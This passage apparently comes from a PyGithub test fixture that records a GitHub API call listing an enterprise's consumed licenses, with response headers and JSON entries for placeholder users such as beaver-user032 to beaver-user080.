subscription","github_com_profile":"https://github.com/beaver-user032","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user032@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user033","github_com_name":"beaver-user033","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user033","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user034","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user034","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user035","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user035","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user036","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user036","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user036@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user037","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user037","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user038","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user038","github_com_member_roles":["beaver-external:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user039","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user039","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user040","github_com_name":"beaver-user040","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user040","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user041","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user041","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user042","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user042","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user042@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user043","github_com_name":"beaver-user043","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user043","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user044","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user044","github_com_member_roles":[],"github_com_enterprise_roles":[],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user044@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user045","github_com_name":"beaver-user045","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user045","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user046","github_com_name":"beaver-user046","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user046","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user047","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user047","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user047@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user048","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user048","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user049","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user049","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user049@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user050","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user050","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user050@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user051","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user051","github_com_member_roles":["beaver-external:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member","Pending invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":["beaver-general"],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user052","github_com_name":"beaver-user052","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user052","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user053","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user053","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user054","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user054","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user055","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user055","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user056","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user056","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user057","github_com_name":"beaver-user057","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user057","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user057@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user058","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user058","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user058@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user059","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user059","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user060","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user060","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user060@beaver.co.jp","total_user_accounts":1}]} https GET api.github.com None /enterprises/beaver-group/consumed-licenses?page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:18:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"75ad40a2a50af04fddaa764d4818c3cd2154fe00a81115ac5393da47843abd6c"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="next", ; rel="last", ; rel="first"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4826'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '174'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C158:2859:2C77E0:2ECFA3:64C1FE39')] {"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user061","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user061","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user062","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user062","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user063","github_com_name":"beaver-user063","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user063","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user063@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user064","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user064","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user065","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user065","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user066","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user066","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user067","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user067","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user068","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user068","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user069","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user069","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user070","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user070","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user071","github_com_name":"beaver-user071","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user071","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user072","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user072","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user073","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user073","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user074","github_com_name":"beaver-user074","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user074","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user075","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user075","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user076","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user076","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user077","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user077","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user078","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user078","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user079","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user079","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user080","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user080","github_com_member_roles":[],"github_com_enterprise_roles":["Outside 